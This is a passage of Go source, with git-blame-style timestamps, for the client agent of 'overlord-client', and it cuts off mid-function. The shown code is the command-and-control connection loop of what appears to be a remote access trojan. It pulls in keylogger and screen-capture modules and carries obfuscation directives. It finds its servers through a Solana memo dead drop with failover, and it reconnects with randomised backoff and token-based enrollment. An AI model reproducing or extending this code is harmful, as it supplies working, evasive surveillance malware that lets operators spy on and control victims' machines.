2026-03-05 00:04:26 -06:00
|
|
|
package main
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"crypto/tls"
|
2026-03-20 22:38:17 -05:00
|
|
|
"encoding/base64"
|
2026-03-05 00:04:26 -06:00
|
|
|
"errors"
|
|
|
|
|
"fmt"
|
|
|
|
|
"log"
|
|
|
|
|
"math/rand"
|
2026-05-04 09:58:59 -05:00
|
|
|
"net"
|
2026-03-05 00:04:26 -06:00
|
|
|
"net/http"
|
|
|
|
|
"os"
|
|
|
|
|
"runtime"
|
|
|
|
|
"runtime/debug"
|
2026-05-21 23:28:06 -05:00
|
|
|
"slices"
|
2026-03-05 00:04:26 -06:00
|
|
|
"strconv"
|
|
|
|
|
"strings"
|
|
|
|
|
"time"
|
|
|
|
|
|
|
|
|
|
"overlord-client/cmd/agent/activewindow"
|
|
|
|
|
"overlord-client/cmd/agent/capture"
|
|
|
|
|
"overlord-client/cmd/agent/config"
|
|
|
|
|
"overlord-client/cmd/agent/handlers"
|
|
|
|
|
"overlord-client/cmd/agent/keylogger"
|
|
|
|
|
"overlord-client/cmd/agent/plugins"
|
|
|
|
|
rt "overlord-client/cmd/agent/runtime"
|
2026-04-01 17:27:31 -05:00
|
|
|
"overlord-client/cmd/agent/sysinfo"
|
2026-07-30 14:03:16 -05:00
|
|
|
agentTLS "overlord-client/cmd/agent/tlsconfig"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/wire"
|
|
|
|
|
|
|
|
|
|
"nhooyr.io/websocket"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func runClient(cfg config.Config) {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-03-05 00:04:26 -06:00
|
|
|
baseBackoff := computeBaseBackoff()
|
|
|
|
|
backoff := baseBackoff
|
|
|
|
|
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
|
|
|
|
|
|
|
|
|
|
ensureServerURLs(&cfg, baseBackoff)
|
|
|
|
|
|
|
|
|
|
if len(cfg.ServerURLs) > 1 {
|
|
|
|
|
log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs))
|
|
|
|
|
for i, url := range cfg.ServerURLs {
|
|
|
|
|
marker := ""
|
|
|
|
|
if i == cfg.ServerIndex {
|
|
|
|
|
marker = " (starting here)"
|
|
|
|
|
}
|
|
|
|
|
log.Printf(" [%d] %s%s", i, url, marker)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-30 14:03:16 -05:00
|
|
|
transport, err := createHTTPTransport(cfg)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[TLS] refusing to start with invalid TLS configuration: %v", err)
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
currentIndex := cfg.ServerIndex
|
|
|
|
|
consecutiveFailures := 0
|
2026-05-04 09:58:59 -05:00
|
|
|
var loggedTLS bool
|
2026-04-05 18:18:40 -05:00
|
|
|
var lastDisconnect time.Time
|
|
|
|
|
var lastSolRefresh time.Time
|
2026-07-14 00:03:55 -05:00
|
|
|
solInitialWait := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second
|
|
|
|
|
solRefreshInterval := 5*time.Minute + time.Duration(rand.Intn(300))*time.Second
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
for {
|
|
|
|
|
|
|
|
|
|
if currentIndex >= len(cfg.ServerURLs) {
|
|
|
|
|
currentIndex = 0
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
currentServer := cfg.ServerURLs[currentIndex]
|
2026-07-30 14:03:16 -05:00
|
|
|
if strings.HasPrefix(strings.ToLower(currentServer), "ws://") && !cfg.TLSInsecureSkipVerify {
|
|
|
|
|
log.Printf("[TLS] refusing plaintext WebSocket server %s; use wss://", currentServer)
|
|
|
|
|
rotateToNextServer(¤tIndex, cfg.ServerURLs)
|
|
|
|
|
time.Sleep(backoff)
|
|
|
|
|
continue
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
|
|
|
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
|
|
|
|
|
|
|
|
|
|
opts := buildDialOptions(cfg, transport)
|
|
|
|
|
|
|
|
|
|
serverInfo := ""
|
|
|
|
|
if len(cfg.ServerURLs) > 1 {
|
|
|
|
|
serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs))
|
|
|
|
|
}
|
|
|
|
|
log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
|
|
|
|
|
|
2026-05-04 09:58:59 -05:00
|
|
|
conn, resp, err := websocket.Dial(ctx, url, opts)
|
2026-03-05 00:04:26 -06:00
|
|
|
if err != nil {
|
2026-05-04 09:58:59 -05:00
|
|
|
log.Printf("dial failed [%s]: %v (retrying in %s)", classifyDialError(err), err, backoff)
|
2026-03-05 00:04:26 -06:00
|
|
|
consecutiveFailures++
|
2026-04-05 18:18:40 -05:00
|
|
|
if lastDisconnect.IsZero() {
|
|
|
|
|
lastDisconnect = time.Now()
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-04-05 18:18:40 -05:00
|
|
|
if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
|
2026-05-21 23:28:06 -05:00
|
|
|
tryRefreshServerList(&cfg, &lastSolRefresh, ¤tIndex, &consecutiveFailures)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-05-21 23:28:06 -05:00
|
|
|
rotateToNextServer(¤tIndex, cfg.ServerURLs)
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
time.Sleep(backoff)
|
|
|
|
|
cancel()
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if currentIndex != cfg.ServerIndex {
|
|
|
|
|
if err := config.SaveServerIndex(currentIndex); err != nil {
|
|
|
|
|
log.Printf("Warning: failed to save server index: %v", err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
backoff = baseBackoff
|
|
|
|
|
consecutiveFailures = 0
|
2026-04-05 18:18:40 -05:00
|
|
|
lastDisconnect = time.Time{} // reset — we're connected
|
2026-03-05 00:04:26 -06:00
|
|
|
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
|
|
|
|
|
|
2026-05-04 09:58:59 -05:00
|
|
|
if !loggedTLS && resp != nil && resp.TLS != nil {
|
|
|
|
|
log.Printf(
|
|
|
|
|
"[TLS] handshake ok: version=%s cipher=%s server=%s",
|
|
|
|
|
tls.VersionName(resp.TLS.Version),
|
|
|
|
|
tls.CipherSuiteName(resp.TLS.CipherSuite),
|
|
|
|
|
resp.TLS.ServerName,
|
|
|
|
|
)
|
|
|
|
|
loggedTLS = true
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
conn.SetReadLimit(8 * 1024 * 1024)
|
|
|
|
|
|
2026-06-10 23:50:38 -05:00
|
|
|
sessionCfg := cfg
|
|
|
|
|
sessionCfg.ServerIndex = currentIndex
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
var sessionErr error
|
2026-06-10 23:50:38 -05:00
|
|
|
if err := runSession(ctx, cancel, conn, sessionCfg); err != nil {
|
2026-06-14 02:12:26 -05:00
|
|
|
if isSupersededError(err) {
|
|
|
|
|
log.Printf("session superseded by a newer connection; exiting")
|
|
|
|
|
handleSuperseded(cfg)
|
|
|
|
|
exitProcess(0)
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
sessionErr = err
|
|
|
|
|
log.Printf("session ended: %v (retrying in %s)", err, backoff)
|
2026-04-05 18:18:40 -05:00
|
|
|
lastDisconnect = time.Now()
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-04-05 18:18:40 -05:00
|
|
|
if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
|
2026-05-21 23:28:06 -05:00
|
|
|
tryRefreshServerList(&cfg, &lastSolRefresh, ¤tIndex, &consecutiveFailures)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-05-21 23:28:06 -05:00
|
|
|
rotateToNextServer(¤tIndex, cfg.ServerURLs)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
sleepFor := backoff
|
|
|
|
|
if sessionErr != nil && shouldRetryImmediately(sessionErr) {
|
|
|
|
|
sleepFor = reconnectDelay()
|
|
|
|
|
log.Printf("reconnect: immediate retry in %s", sleepFor)
|
|
|
|
|
}
|
2026-03-20 22:38:17 -05:00
|
|
|
if sessionErr != nil {
|
|
|
|
|
if d := enrollmentRetryDelay(sessionErr); d > 0 {
|
|
|
|
|
sleepFor = d
|
|
|
|
|
log.Printf("purgatory: retry in %s", sleepFor)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
time.Sleep(sleepFor)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-21 23:28:06 -05:00
|
|
|
func rotateToNextServer(currentIndex *int, urls []string) {
|
|
|
|
|
if len(urls) > 1 {
|
|
|
|
|
*currentIndex = (*currentIndex + 1) % len(urls)
|
|
|
|
|
log.Printf("switching to next server [%d/%d]: %s", *currentIndex+1, len(urls), urls[*currentIndex])
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func tryRefreshServerList(cfg *config.Config, lastSolRefresh *time.Time, currentIndex *int, consecutiveFailures *int) {
|
|
|
|
|
if refreshServerList(cfg) {
|
|
|
|
|
*lastSolRefresh = time.Now()
|
|
|
|
|
*currentIndex = 0
|
|
|
|
|
*consecutiveFailures = 0
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
|
|
|
|
|
headers := http.Header{}
|
|
|
|
|
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
|
|
|
|
|
headers.Set("x-agent-token", token)
|
|
|
|
|
}
|
|
|
|
|
return &websocket.DialOptions{
|
|
|
|
|
Subprotocols: []string{"binary"},
|
|
|
|
|
HTTPClient: &http.Client{Transport: transport},
|
|
|
|
|
HTTPHeader: headers,
|
|
|
|
|
CompressionMode: websocket.CompressionContextTakeover,
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
|
|
|
|
if len(cfg.ServerURLs) > 0 {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-14 20:52:15 -05:00
|
|
|
const maxBackoff = 2 * time.Minute
|
|
|
|
|
|
2026-04-05 18:18:40 -05:00
|
|
|
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
|
|
|
|
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
|
2026-04-14 20:52:15 -05:00
|
|
|
delay := backoff
|
2026-04-05 18:18:40 -05:00
|
|
|
for len(cfg.ServerURLs) == 0 {
|
|
|
|
|
if refreshServerURLsFromSolana(cfg) {
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-04-14 20:52:15 -05:00
|
|
|
log.Printf("Retrying Solana memo lookup in %s", delay)
|
|
|
|
|
time.Sleep(delay)
|
|
|
|
|
if delay < maxBackoff {
|
|
|
|
|
delay = delay * 2
|
|
|
|
|
if delay > maxBackoff {
|
|
|
|
|
delay = maxBackoff
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-04-05 18:18:40 -05:00
|
|
|
}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
if cfg.RawServerListURL == "" {
|
|
|
|
|
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
|
|
|
|
|
cfg.ServerURLs = []string{config.DefaultServerURL}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
|
2026-04-14 20:52:15 -05:00
|
|
|
delay := backoff
|
2026-03-05 00:04:26 -06:00
|
|
|
for len(cfg.ServerURLs) == 0 {
|
|
|
|
|
if refreshServerURLsFromRaw(cfg) {
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-04-14 20:52:15 -05:00
|
|
|
log.Printf("Retrying raw server list fetch in %s", delay)
|
|
|
|
|
time.Sleep(delay)
|
|
|
|
|
if delay < maxBackoff {
|
|
|
|
|
delay = delay * 2
|
|
|
|
|
if delay > maxBackoff {
|
|
|
|
|
delay = maxBackoff
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func shouldRefreshRawList(cfg config.Config, failures int) bool {
|
|
|
|
|
if cfg.RawServerListURL == "" {
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
if len(cfg.ServerURLs) == 0 {
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
return failures >= len(cfg.ServerURLs)
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-05 18:18:40 -05:00
|
|
|
func shouldRefreshServerList(cfg config.Config, failures int, lastDisconnect, lastSolRefresh time.Time, solInitialWait, solRefreshInterval time.Duration) bool {
|
|
|
|
|
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
|
|
|
|
if lastDisconnect.IsZero() {
|
|
|
|
|
return false // still connected, never refresh
|
|
|
|
|
}
|
|
|
|
|
sinceDisconnect := time.Since(lastDisconnect)
|
|
|
|
|
if sinceDisconnect < solInitialWait {
|
|
|
|
|
return false // wait 2 min after disconnect before first check
|
|
|
|
|
}
|
|
|
|
|
if !lastSolRefresh.IsZero() && time.Since(lastSolRefresh) < solRefreshInterval {
|
|
|
|
|
return false // not yet time for next periodic check
|
|
|
|
|
}
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
return shouldRefreshRawList(cfg, failures)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func refreshServerList(cfg *config.Config) bool {
|
|
|
|
|
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
|
|
|
|
return refreshServerURLsFromSolana(cfg)
|
|
|
|
|
}
|
|
|
|
|
return refreshServerURLsFromRaw(cfg)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func refreshServerURLsFromSolana(cfg *config.Config) bool {
|
|
|
|
|
urls, err := config.LoadServerURLsFromSolana(cfg.SolAddress, cfg.AgentToken, cfg.SolRPCEndpoints)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[config] WARNING: failed to resolve server URLs from Solana: %v", err)
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
if len(urls) == 0 {
|
|
|
|
|
log.Printf("[config] WARNING: Solana memo returned no valid URLs")
|
|
|
|
|
return false
|
|
|
|
|
}
|
2026-05-21 23:28:06 -05:00
|
|
|
if !slices.Equal(cfg.ServerURLs, urls) {
|
2026-04-05 18:18:40 -05:00
|
|
|
log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
|
|
|
|
|
cfg.ServerURLs = urls
|
|
|
|
|
}
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func refreshServerURLsFromRaw(cfg *config.Config) bool {
|
|
|
|
|
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[config] WARNING: failed to refresh raw server list: %v", err)
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if len(urls) == 0 {
|
|
|
|
|
log.Printf("[config] WARNING: raw server list returned no URLs")
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-21 23:28:06 -05:00
|
|
|
if !slices.Equal(cfg.ServerURLs, urls) {
|
2026-03-05 00:04:26 -06:00
|
|
|
log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
|
|
|
|
|
cfg.ServerURLs = urls
|
|
|
|
|
}
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-30 14:03:16 -05:00
|
|
|
func createHTTPTransport(cfg config.Config) (*http.Transport, error) {
|
|
|
|
|
tlsConfig, err := agentTLS.Build(agentTLS.Options{
|
2026-03-05 00:04:26 -06:00
|
|
|
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
|
2026-07-30 14:03:16 -05:00
|
|
|
CAPath: cfg.TLSCAPath,
|
|
|
|
|
SPKIPins: cfg.TLSSPKIPins,
|
|
|
|
|
ClientCertPath: cfg.TLSClientCert,
|
|
|
|
|
ClientKeyPath: cfg.TLSClientKey,
|
|
|
|
|
})
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, err
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
2026-07-30 14:03:16 -05:00
|
|
|
if len(cfg.TLSSPKIPins) > 0 {
|
|
|
|
|
log.Printf("[TLS] Server identity pinning enabled with %d trusted SPKI pin(s)", len(cfg.TLSSPKIPins))
|
|
|
|
|
} else if cfg.TLSInsecureSkipVerify {
|
2026-03-05 00:04:26 -06:00
|
|
|
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
transport := http.DefaultTransport.(*http.Transport).Clone()
|
|
|
|
|
transport.TLSClientConfig = tlsConfig
|
2026-05-04 09:58:59 -05:00
|
|
|
transport.DialContext = (&net.Dialer{
|
|
|
|
|
Timeout: 30 * time.Second,
|
|
|
|
|
KeepAlive: 15 * time.Second,
|
|
|
|
|
}).DialContext
|
2026-07-30 14:03:16 -05:00
|
|
|
return transport, nil
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
2026-05-04 09:58:59 -05:00
|
|
|
func classifyDialError(err error) string {
|
2026-03-05 00:04:26 -06:00
|
|
|
if err == nil {
|
2026-05-04 09:58:59 -05:00
|
|
|
return ""
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
msg := strings.ToLower(err.Error())
|
2026-05-04 09:58:59 -05:00
|
|
|
switch {
|
|
|
|
|
case strings.Contains(msg, "x509:"),
|
|
|
|
|
strings.Contains(msg, "certificate signed by"),
|
|
|
|
|
strings.Contains(msg, "certificate has expired"),
|
|
|
|
|
strings.Contains(msg, "certificate is not valid"),
|
|
|
|
|
strings.Contains(msg, "unknown authority"):
|
|
|
|
|
return "TLS:cert"
|
|
|
|
|
case strings.Contains(msg, "protocol version"),
|
|
|
|
|
strings.Contains(msg, "tls: no application protocol"):
|
|
|
|
|
return "TLS:version"
|
|
|
|
|
case strings.Contains(msg, "no cipher suite"),
|
|
|
|
|
strings.Contains(msg, "handshake failure"):
|
|
|
|
|
return "TLS:cipher"
|
|
|
|
|
case strings.Contains(msg, "tls:"),
|
|
|
|
|
strings.Contains(msg, "remote error: tls"):
|
|
|
|
|
return "TLS"
|
|
|
|
|
case strings.Contains(msg, "no such host"):
|
|
|
|
|
return "DNS"
|
|
|
|
|
case strings.Contains(msg, "connection refused"):
|
|
|
|
|
return "refused"
|
|
|
|
|
case strings.Contains(msg, "i/o timeout"),
|
|
|
|
|
strings.Contains(msg, "context deadline exceeded"):
|
|
|
|
|
return "timeout"
|
|
|
|
|
case strings.Contains(msg, "no route to host"),
|
|
|
|
|
strings.Contains(msg, "network is unreachable"):
|
|
|
|
|
return "unreachable"
|
|
|
|
|
case strings.Contains(msg, "expected handshake response status code"),
|
|
|
|
|
strings.Contains(msg, "unexpected http response"):
|
|
|
|
|
return "http"
|
|
|
|
|
}
|
|
|
|
|
return "network"
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func computeBaseBackoff() time.Duration {
|
|
|
|
|
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func reconnectDelay() time.Duration {
|
|
|
|
|
raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
|
|
|
|
|
if raw == "" {
|
2026-05-04 09:58:59 -05:00
|
|
|
return randomReconnectDelay(1*time.Second, 3*time.Second)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
ms, err := strconv.Atoi(raw)
|
|
|
|
|
if err != nil || ms < 0 {
|
2026-05-04 09:58:59 -05:00
|
|
|
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 1-3s", raw)
|
|
|
|
|
return randomReconnectDelay(1*time.Second, 3*time.Second)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
if ms == 0 {
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
return time.Duration(ms) * time.Millisecond
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
|
|
|
|
|
|
|
|
func randomReconnectDelay(min, max time.Duration) time.Duration {
|
|
|
|
|
if max <= min {
|
|
|
|
|
return min
|
|
|
|
|
}
|
|
|
|
|
delta := max - min
|
|
|
|
|
n := time.Duration(reconnectRng.Int63n(int64(delta) + 1))
|
|
|
|
|
return min + n
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func shouldRetryImmediately(err error) bool {
|
|
|
|
|
if err == nil {
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
if errors.Is(err, handlers.ErrReconnect) {
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
var closeErr *websocket.CloseError
|
|
|
|
|
if errors.As(err, &closeErr) {
|
2026-06-14 02:12:26 -05:00
|
|
|
if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 || closeErr.Code == supersededCloseCode {
|
2026-03-20 22:38:17 -05:00
|
|
|
return false
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
if closeErr.Code == websocket.StatusAbnormalClosure {
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
msg := strings.ToLower(err.Error())
|
|
|
|
|
if strings.Contains(msg, "timed out from inactivity") {
|
|
|
|
|
return true
|
|
|
|
|
}
|
2026-03-08 22:31:11 -05:00
|
|
|
if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") {
|
|
|
|
|
return true
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-20 22:38:17 -05:00
|
|
|
func enrollmentRetryDelay(err error) time.Duration {
|
|
|
|
|
if err == nil {
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
msg := err.Error()
|
|
|
|
|
if strings.Contains(msg, "purgatory: status=pending") {
|
|
|
|
|
return getEnrollmentRetryInterval()
|
|
|
|
|
}
|
|
|
|
|
if strings.Contains(msg, "purgatory: status=denied") {
|
|
|
|
|
return 5 * time.Minute
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var closeErr *websocket.CloseError
|
|
|
|
|
if errors.As(err, &closeErr) {
|
|
|
|
|
switch closeErr.Code {
|
|
|
|
|
case 4001: // pending
|
|
|
|
|
return getEnrollmentRetryInterval()
|
|
|
|
|
case 4002: // invalid signature
|
|
|
|
|
return 60 * time.Second
|
|
|
|
|
case 4003: // denied
|
|
|
|
|
return 5 * time.Minute
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func getEnrollmentRetryInterval() time.Duration {
|
|
|
|
|
raw := strings.TrimSpace(os.Getenv("OVERLORD_ENROLLMENT_RETRY_MS"))
|
|
|
|
|
if raw != "" {
|
|
|
|
|
if ms, err := strconv.Atoi(raw); err == nil && ms > 0 {
|
|
|
|
|
return time.Duration(ms) * time.Millisecond
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return 30 * time.Second
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func getPingInterval() time.Duration {
|
|
|
|
|
raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
|
|
|
|
|
if raw == "" {
|
|
|
|
|
return 30 * time.Second
|
|
|
|
|
}
|
|
|
|
|
ms, err := strconv.Atoi(raw)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw)
|
|
|
|
|
return 30 * time.Second
|
|
|
|
|
}
|
|
|
|
|
if ms <= 0 {
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
return time.Duration(ms) * time.Millisecond
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-05 22:55:03 -05:00
|
|
|
func classifySessionError(err error) (reason, detail string) {
|
|
|
|
|
if err == nil {
|
|
|
|
|
return "crash", ""
|
|
|
|
|
}
|
|
|
|
|
msg := err.Error()
|
|
|
|
|
msgLower := strings.ToLower(msg)
|
|
|
|
|
if strings.Contains(msgLower, "panic") {
|
|
|
|
|
return "panic", truncateStr(msg, 300)
|
|
|
|
|
}
|
|
|
|
|
var closeErr *websocket.CloseError
|
|
|
|
|
if errors.As(err, &closeErr) {
|
|
|
|
|
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
|
|
|
|
|
return "normal", ""
|
|
|
|
|
}
|
|
|
|
|
return "network", fmt.Sprintf("ws close code=%d reason=%s", closeErr.Code, truncateStr(closeErr.Reason, 100))
|
|
|
|
|
}
|
|
|
|
|
if strings.Contains(msgLower, "timed out from inactivity") || strings.Contains(msgLower, "pong timeout") {
|
|
|
|
|
return "timeout", truncateStr(msg, 300)
|
|
|
|
|
}
|
|
|
|
|
if strings.Contains(msgLower, "context canceled") || strings.Contains(msgLower, "context deadline exceeded") {
|
|
|
|
|
return "normal", ""
|
|
|
|
|
}
|
|
|
|
|
return "network", truncateStr(msg, 300)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func truncateStr(s string, n int) string {
|
|
|
|
|
if len(s) <= n {
|
|
|
|
|
return s
|
|
|
|
|
}
|
|
|
|
|
return s[:n] + "…"
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-03-05 00:04:26 -06:00
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
reason := fmt.Sprintf("session panic: %v", r)
|
|
|
|
|
stack := debug.Stack()
|
|
|
|
|
path := writeCrashLog(reason, stack)
|
|
|
|
|
log.Printf("%s (see %s)", reason, path)
|
|
|
|
|
err = fmt.Errorf("session panic: %v", r)
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
defer cancel()
|
2026-04-05 22:55:03 -05:00
|
|
|
defer func() {
|
|
|
|
|
reason, detail := classifySessionError(err)
|
|
|
|
|
di := wire.DisconnectInfo{Type: "disconnect_info", Reason: reason, Detail: detail}
|
|
|
|
|
sendCtx, sendCancel := context.WithTimeout(context.Background(), 2*time.Second)
|
|
|
|
|
defer sendCancel()
|
|
|
|
|
_ = wire.WriteMsg(sendCtx, conn, di)
|
2026-06-16 17:51:41 -05:00
|
|
|
conn.CloseNow()
|
2026-04-05 22:55:03 -05:00
|
|
|
}()
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-03-20 22:38:17 -05:00
|
|
|
identity := config.DeriveIdentity()
|
|
|
|
|
log.Printf("[purgatory] identity fingerprint=%s", identity.Fingerprint)
|
|
|
|
|
|
|
|
|
|
challengeCtx, challengeCancel := context.WithTimeout(ctx, 30*time.Second)
|
|
|
|
|
defer challengeCancel()
|
|
|
|
|
|
|
|
|
|
_, challengeData, err := conn.Read(challengeCtx)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("purgatory: failed to read challenge: %w", err)
|
|
|
|
|
}
|
|
|
|
|
challengeEnvelope, err := wire.DecodeEnvelope(challengeData)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("purgatory: failed to decode challenge: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
safeWriter := wire.NewSafeWriter(conn)
|
2026-03-20 22:38:17 -05:00
|
|
|
|
|
|
|
|
msgType, _ := challengeEnvelope["type"].(string)
|
|
|
|
|
var publicKeyB64, signatureB64 string
|
|
|
|
|
|
|
|
|
|
switch msgType {
|
|
|
|
|
case "enrollment_challenge":
|
|
|
|
|
